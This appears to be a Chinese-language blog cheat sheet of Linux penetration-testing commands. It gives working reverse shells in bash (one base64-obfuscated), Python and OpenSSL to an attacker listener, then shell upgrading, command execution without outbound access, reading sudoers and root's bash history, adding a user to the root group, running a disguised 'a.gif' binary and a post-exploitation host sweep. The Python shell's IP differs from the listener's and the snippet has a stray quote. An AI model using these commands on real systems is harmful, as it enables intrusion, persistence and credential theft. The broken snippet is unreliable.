linux命令总结

bash 反弹

  1. 本机监听8080端口
nc -lv 8080
  1. 目标机bash反弹8080端口
bash -i >& /dev/tcp/192.168.25.144/8080 0>&1

base64编码后反弹

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjE0NC84MDgwIDA+JjE=} | {base64,-d} | {bash,-i}

python反弹

本地监听8080端口

nc -lv 8080

目标机python反弹8080端口

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.186.25.144",8080));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'

在某些特殊环境下,无法利用bash反弹,python是你的不二选择。

openssl加密反弹

  1. 生成SSL证书的公钥/私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  1. 监听8080端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
  1. 目标机器上openssl反弹
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.137:8080 > /tmp/s; rm /tmp/s

哑shell变交互式shell

哑shell 执行

python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+Z暂停服务,回到vps命令行
vps中执行

stty raw -echo
fg

回到哑shell

reset

即可获取交互式shell。

不出网的命令执行

不出网情况下,查找web固定文件,将结果输出到web路径下

find / -name upload.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done

信息收集

查看本地开放TCP、UDP端口

netstat -tulp
-t TCP
-p 进程
-l 显示服务器
-u UDP
-n 使用ip地址,而不是域名

查看进程

ps -aux

查看登录记录

last

所有用户上次登录的信息

lastlog

允许以root用户运行

cat /etc/sudoers

查看root用户历史命令

cat /root/.bash_history

添加用户到root

useradd test   添加用户
passwd 123456  更改密码
usermod -g root test  更改用户组 

查看计划任务

crontab -l

查看iptables

iptables -L

查看路由

route

查看系统版本

cat /etc/issue

列出系统所有用户

cat /etc/passwd 

查找文件

whereis java

赋予权限

chmod 775 a.gif

后台运行该文件

nohup ./a.gif & 

结束所以a.gif进程

kill -9 `ps -aux | grep 'a.gif' | awk '{print $2}'`

python2开启http服务

python -m SimpleHTTPServer 8080

后渗透

判断存活主机

#!/bin/bash
for i in {1..254}
do
    ping -c 3 -i 0.2 -W 1 192.168.$i.1 &> /dev/null
    if [ $? -eq 0 ] ; then
        echo "Host 192.168.$i.1 is up" >> active_result.txt
    else
        echo "Host 192.168.$i.1 is down" 
    fi
done

待补充

推荐阅读更多精彩内容